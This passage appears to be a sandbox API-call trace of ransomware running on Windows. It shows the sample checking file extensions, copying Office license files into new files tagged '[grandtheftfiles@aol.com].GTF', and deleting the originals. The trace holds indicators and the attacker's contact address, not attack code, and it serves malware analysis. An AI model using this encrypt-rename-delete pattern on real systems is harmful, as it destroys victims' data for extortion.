	[0178.947] SetEndOfFile (hFile=0x57c) returned 1
	[0178.947] CloseHandle (hObject=0x57c) returned 1
	[0178.947] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.947] SetEndOfFile (hFile=0x3dc) returned 1
	[0178.950] CloseHandle (hObject=0x3dc) returned 1
	[0178.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0178.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.951] lstrlenW (lpString=".doc") returned 4
	[0178.951] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.951] lstrlenW (lpString=".docx") returned 5
	[0178.951] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.951] lstrlenW (lpString=".pdf") returned 4
	[0178.951] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.951] lstrlenW (lpString=".xls") returned 4
	[0178.951] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.951] lstrlenW (lpString=".xlsx") returned 5
	[0178.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.951] lstrlenW (lpString=".ppt") returned 4
	[0178.951] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.951] lstrlenW (lpString=".zip") returned 4
	[0178.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.951] lstrlenW (lpString=".rar") returned 4
	[0178.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.951] lstrlenW (lpString=".bz2") returned 4
	[0178.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.951] lstrlenW (lpString=".7z") returned 3
	[0178.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.951] lstrlenW (lpString=".dbf") returned 4
	[0178.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.952] lstrlenW (lpString=".1cd") returned 4
	[0178.952] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.952] lstrlenW (lpString=".jpg") returned 4
	[0178.952] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.952] lstrlenW (lpString=".doc") returned 4
	[0178.952] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString=".docx") returned 5
	[0178.952] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.952] lstrlenW (lpString=".pdf") returned 4
	[0178.952] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString=".xls") returned 4
	[0178.952] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString=".xlsx") returned 5
	[0178.952] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.952] lstrlenW (lpString=".ppt") returned 4
	[0178.952] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.952] lstrlenW (lpString=".zip") returned 4
	[0178.952] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString=".rar") returned 4
	[0178.952] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString=".bz2") returned 4
	[0178.952] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString=".7z") returned 3
	[0178.952] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.952] lstrlenW (lpString=".dbf") returned 4
	[0178.952] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.952] lstrlenW (lpString=".1cd") returned 4
	[0178.953] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0178.953] lstrlenW (lpString=".jpg") returned 4
	[0178.953] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.953] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.953] lstrlenW (lpString="O365HomePremR_Subscription1-pl.xrm-ms") returned 37
	[0178.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0178.953] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11199) returned 1
	[0178.953] CloseHandle (hObject=0x3dc) returned 1
	[0178.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 0x220
	[0178.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0178.954] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.954] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0178.955] GetLastError () returned 0x0
	[0178.955] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0178.968] WriteFile (in: hFile=0x57c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0178.970] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.970] WriteFile (in: hFile=0x57c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0178.970] SetEndOfFile (hFile=0x57c) returned 1
	[0178.970] CloseHandle (hObject=0x57c) returned 1
	[0178.970] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.970] SetEndOfFile (hFile=0x3dc) returned 1
	[0179.068] CloseHandle (hObject=0x3dc) returned 1
	[0179.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 1
	[0179.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.071] lstrlenW (lpString=".doc") returned 4
	[0179.071] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.071] lstrlenW (lpString=".docx") returned 5
	[0179.071] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.071] lstrlenW (lpString=".pdf") returned 4
	[0179.071] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.071] lstrlenW (lpString=".xls") returned 4
	[0179.071] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.071] lstrlenW (lpString=".xlsx") returned 5
	[0179.071] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.071] lstrlenW (lpString=".ppt") returned 4
	[0179.072] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.072] lstrlenW (lpString=".zip") returned 4
	[0179.072] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString=".rar") returned 4
	[0179.072] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString=".bz2") returned 4
	[0179.072] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString=".7z") returned 3
	[0179.072] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.072] lstrlenW (lpString=".dbf") returned 4
	[0179.072] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.072] lstrlenW (lpString=".1cd") returned 4
	[0179.072] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.072] lstrlenW (lpString=".jpg") returned 4
	[0179.072] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.072] lstrlenW (lpString=".doc") returned 4
	[0179.072] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString=".docx") returned 5
	[0179.072] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.072] lstrlenW (lpString=".pdf") returned 4
	[0179.072] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString=".xls") returned 4
	[0179.072] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString=".xlsx") returned 5
	[0179.072] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.072] lstrlenW (lpString=".ppt") returned 4
	[0179.072] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.072] lstrlenW (lpString=".zip") returned 4
	[0179.072] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.073] lstrlenW (lpString=".rar") returned 4
	[0179.073] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.073] lstrlenW (lpString=".bz2") returned 4
	[0179.073] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.073] lstrlenW (lpString=".7z") returned 3
	[0179.073] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.073] lstrlenW (lpString=".dbf") returned 4
	[0179.073] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.073] lstrlenW (lpString=".1cd") returned 4
	[0179.073] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0179.073] lstrlenW (lpString=".jpg") returned 4
	[0179.073] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.073] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.073] lstrlenW (lpString="O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 41
	[0179.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0179.074] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11651) returned 1
	[0179.074] CloseHandle (hObject=0x3dc) returned 1
	[0179.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0179.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0179.075] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.075] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.076] GetLastError () returned 0x0
	[0179.076] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0179.118] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0179.119] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.119] WriteFile (in: hFile=0x548, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x126, lpOverlapped=0x0) returned 1
	[0179.119] SetEndOfFile (hFile=0x548) returned 1
	[0179.119] CloseHandle (hObject=0x548) returned 1
	[0179.119] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.119] SetEndOfFile (hFile=0x3dc) returned 1
	[0179.122] CloseHandle (hObject=0x3dc) returned 1
	[0179.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.163] lstrlenW (lpString=".doc") returned 4
	[0179.163] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString=".docx") returned 5
	[0179.163] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.163] lstrlenW (lpString=".pdf") returned 4
	[0179.163] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString=".xls") returned 4
	[0179.163] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString=".xlsx") returned 5
	[0179.163] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.163] lstrlenW (lpString=".ppt") returned 4
	[0179.163] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.163] lstrlenW (lpString=".zip") returned 4
	[0179.163] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString=".rar") returned 4
	[0179.163] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString=".bz2") returned 4
	[0179.163] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString=".7z") returned 3
	[0179.163] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.163] lstrlenW (lpString=".dbf") returned 4
	[0179.163] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.163] lstrlenW (lpString=".1cd") returned 4
	[0179.163] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.163] lstrlenW (lpString=".jpg") returned 4
	[0179.163] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.164] lstrlenW (lpString=".doc") returned 4
	[0179.164] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString=".docx") returned 5
	[0179.164] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.164] lstrlenW (lpString=".pdf") returned 4
	[0179.164] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString=".xls") returned 4
	[0179.164] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString=".xlsx") returned 5
	[0179.164] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.164] lstrlenW (lpString=".ppt") returned 4
	[0179.164] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.164] lstrlenW (lpString=".zip") returned 4
	[0179.164] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString=".rar") returned 4
	[0179.164] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString=".bz2") returned 4
	[0179.164] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString=".7z") returned 3
	[0179.164] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.164] lstrlenW (lpString=".dbf") returned 4
	[0179.164] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.164] lstrlenW (lpString=".1cd") returned 4
	[0179.164] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0179.164] lstrlenW (lpString=".jpg") returned 4
	[0179.164] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.164] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.165] lstrlenW (lpString="O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 41
	[0179.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.165] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11651) returned 1
	[0179.165] CloseHandle (hObject=0x530) returned 1
	[0179.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0179.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.166] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.166] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
